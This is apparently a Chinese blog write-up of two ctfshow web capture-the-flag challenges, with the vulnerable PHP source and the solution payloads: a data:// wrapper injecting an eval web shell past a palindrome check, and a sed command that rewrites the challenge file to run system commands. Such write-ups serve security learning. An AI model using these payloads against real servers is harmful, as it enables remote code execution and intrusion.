当前位置:网站首页>ctfshow单身狗 -- web
ctfshow单身狗 -- web
2022-07-28 05:20:00 【cainsoftware】
pass-01 web签到
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: [email protected]
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
if(isset($file)){
if(strrev($file)==$file){
include $file;
}
}看到入参file 判断项是 strrev(反转)==正常入参
刚开始考虑过弱等于绕过,但是include没啥用,
后来了解到 2个知识点,,
1.第一可以利用 data://伪协议,
2.php ?>后的内容不再进行运算
所以可以构造如下:
file=data://text/plain,<?php eval($_REQUEST[1]);?>

通过py反转构造完整payload

签到题这么难?签到题不应该是有手就行的那种吗。
PASS-02 easyPHP
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: [email protected]
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
$param = $_POST['param'];
if(isset($cmd) && isset($param)){
$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
shell_exec($cmd);
}
escapeshell用来做过滤,限制了字符串长度为3,
根据大牛提示经验 需要使用sed命令新建文件,用sed匹配参数正则来进行替换修改
sed 正则表达式 - sed 基础教程 - 简单教程,简单编程
先需要使用参数:
1. “/escap/d” 其中的d为的是删除 escap整行的限制
2.使用参数“s/shell_exec/system/g” 这里的s目的是替换 g 参数目的是为了全局,
完整payload=“cmd=sed¶m=/escapeshell/d;s/shell_exec/system/g;w 99.php”
边栏推荐
- 结果填空 凑算式(DFS*C语言)
- ArcGIS Engine开发资源
- JS字符串方法大全
- 基于Easy CHM和VS的帮助文档制作
- Canvas绘图2
- Review of metallurgical physical chemistry -- cathodic polarization, overpotential, anode and anode process in metal electrodeposition
- 分支与循环语句
- 使用sourcetree推送仓库时 Failed to connect to www.google.com port 80: Timed out
- ES6--->箭头函数、类、模块化
- JS中的!!
猜你喜欢
![[uni app] the use of scroll into view in uni app](/img/34/475ef70416df7a92a52ba0efbc8947.png)
[uni app] the use of scroll into view in uni app

(php毕业设计)基于php甘肃旅游网站管理系统获取

(php毕业设计)基于php学生日常行为管理系统获取

基于Easy CHM和VS的帮助文档制作

书籍-清醒思考的艺术

结果填空 购物单(教你用Excel解决)

Review of metallurgical physical chemistry -- rate equations of complex reactions

(php毕业设计)基于php小说网站管理系统获取

Acquisition of mental health service system based on PHP (PHP graduation design)

Global event bus
随机推荐
书籍-乌合之众
Screenshot transferred to the background
ES6--->箭头函数、类、模块化
(php毕业设计)基于thinkphp5小区物业管理系统
new,let,var,const以及暂时性死区,xml和json的区别
蓝桥代码 错误票据
树莓派串口
Review of metallurgical physical chemistry -- rate equations of complex reactions
Making E-R diagram based on XMIND
js中==和===区别
五子棋优化版
(php毕业设计)基于php小说网站管理系统获取
DOM基础
Help document making based on easy CHM and vs
Microsoft edge browser plug-in (2)
树莓派串口配置
对象内多个数组的对应下标相加
树莓派WIFI一键连接配置
es6新增--->对象(Object)
HDU-1284:钱币兑换问题 推理+动态规划(dp)